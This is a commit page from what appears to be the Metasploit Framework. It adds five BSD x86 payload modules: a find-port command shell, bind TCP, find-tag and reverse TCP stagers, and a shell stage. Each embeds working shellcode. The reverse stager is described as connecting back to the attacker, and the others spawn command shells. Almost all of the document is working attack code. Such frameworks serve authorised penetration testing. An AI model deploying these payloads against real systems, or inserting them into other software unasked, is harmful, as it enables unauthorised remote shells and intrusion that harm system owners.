bsd payloads
git-svn-id: file:///home/svn/incoming/trunk@2958 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
5d4e95c94f
commit
28785b573b
|
@ -0,0 +1,43 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/find_port'
|
||||||
|
require 'msf/base/sessions/command_shell'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Singles
|
||||||
|
module Bsd
|
||||||
|
module X86
|
||||||
|
|
||||||
|
module ShellFindPort
|
||||||
|
|
||||||
|
include Msf::Payload::Single
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'BSD Command Shell, Find Port Inline',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Spawn a shell on an established connection',
|
||||||
|
'Author' => 'vlad902',
|
||||||
|
'Platform' => 'bsd',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::FindPort,
|
||||||
|
'Session' => Msf::Sessions::CommandShell,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Offsets' =>
|
||||||
|
{
|
||||||
|
'CPORT' => [ 24, 'n' ],
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
"\x31\xff\x57\x89\xe5\x47\x89\xec\x6a\x10\x54\x55" +
|
||||||
|
"\x57\x6a\x1f\x58\x6a\x02\xcd\x80\x66\x81\x7d\x02" +
|
||||||
|
"\x11\x5c\x75\xe9\x59\x51\x57\x6a\x5a\x58\x51\xcd" +
|
||||||
|
"\x80\x49\x79\xf5\x68\x2f\x2f\x73\x68\x68\x2f\x62" +
|
||||||
|
"\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end end
|
|
@ -0,0 +1,48 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/bind_tcp'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Stagers
|
||||||
|
module Bsd
|
||||||
|
module X86
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# BindTcp
|
||||||
|
# -------
|
||||||
|
#
|
||||||
|
# BSD bind TCP stager.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module BindTcp
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Bind TCP Stager',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Listen for a connection',
|
||||||
|
'Author' => 'skape',
|
||||||
|
'Platform' => 'bsd',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::BindTcp,
|
||||||
|
'Stager' =>
|
||||||
|
{
|
||||||
|
'Offsets' =>
|
||||||
|
{
|
||||||
|
'LPORT' => [ 0x8, 'n' ],
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
"\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" +
|
||||||
|
"\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" +
|
||||||
|
"\x6a\xcd\x80\x52\x53\xb6\x10\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97" +
|
||||||
|
"\x6a\x03\x58\xcd\x80\xc3"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end end
|
|
@ -0,0 +1,47 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/find_tag'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Stagers
|
||||||
|
module Bsd
|
||||||
|
module X86
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# FindTag
|
||||||
|
# -------
|
||||||
|
#
|
||||||
|
# BSD find tag stager.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module FindTag
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Find Tag Stager',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Use an established connection',
|
||||||
|
'Author' => 'skape',
|
||||||
|
'Platform' => 'bsd',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::FindTag,
|
||||||
|
'Stager' =>
|
||||||
|
{
|
||||||
|
'Offsets' =>
|
||||||
|
{
|
||||||
|
'TAG' => [ 0x1b, 'RAW' ],
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
"\x31\xd2\x52\x89\xe6\x52\x52\xb2\x80\x52\xb6\x0c\x52\x56\x52\x52" +
|
||||||
|
"\x66\xff\x46\xe8\x6a\x1d\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75" +
|
||||||
|
"\xef\xfc\xad\x5a\x5f\x5a\xff\xe6"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end end
|
|
@ -0,0 +1,48 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/handler/reverse_tcp'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Stagers
|
||||||
|
module Bsd
|
||||||
|
module X86
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# ReverseTcp
|
||||||
|
# ----------
|
||||||
|
#
|
||||||
|
# BSD reverse TCP stager.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module ReverseTcp
|
||||||
|
|
||||||
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Reverse TCP Stager',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Connect back to the attacker',
|
||||||
|
'Author' => 'skape',
|
||||||
|
'Platform' => 'bsd',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
|
'Stager' =>
|
||||||
|
{
|
||||||
|
'Offsets' =>
|
||||||
|
{
|
||||||
|
'LHOST' => [ 0x0a, 'ADDR' ],
|
||||||
|
'LPORT' => [ 0x13, 'n' ],
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
"\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68\x7f\x00\x00\x01\xcd\x80" +
|
||||||
|
"\x68\x10\x02\xbf\xbf\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58" +
|
||||||
|
"\xcd\x80\xb0\x03\xc6\x41\xfd\x10\xcd\x80\xc3"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end end
|
|
@ -0,0 +1,33 @@
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base/sessions/command_shell'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Payloads
|
||||||
|
module Stages
|
||||||
|
module Bsd
|
||||||
|
module X86
|
||||||
|
|
||||||
|
module Shell
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'BSD Command Shell',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => 'Spawn a command shell',
|
||||||
|
'Author' => 'skape',
|
||||||
|
'Platform' => 'bsd',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Session' => Msf::Sessions::CommandShell,
|
||||||
|
'Stage' =>
|
||||||
|
{
|
||||||
|
'Payload' =>
|
||||||
|
"\x31\xc0\x50\x50\xb0\x7e\x50\xcd\x80\x6a\x02\x59\x6a\x5a\x58\x51" +
|
||||||
|
"\x57\x51\xcd\x80\x49\x79\xf5\x6a\x3b\x58\x99\x52\x68\x2f\x2f\x73" +
|
||||||
|
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x53\xcd\x80"
|
||||||
|
}
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end end end end end
|
Loading…
Reference in New Issue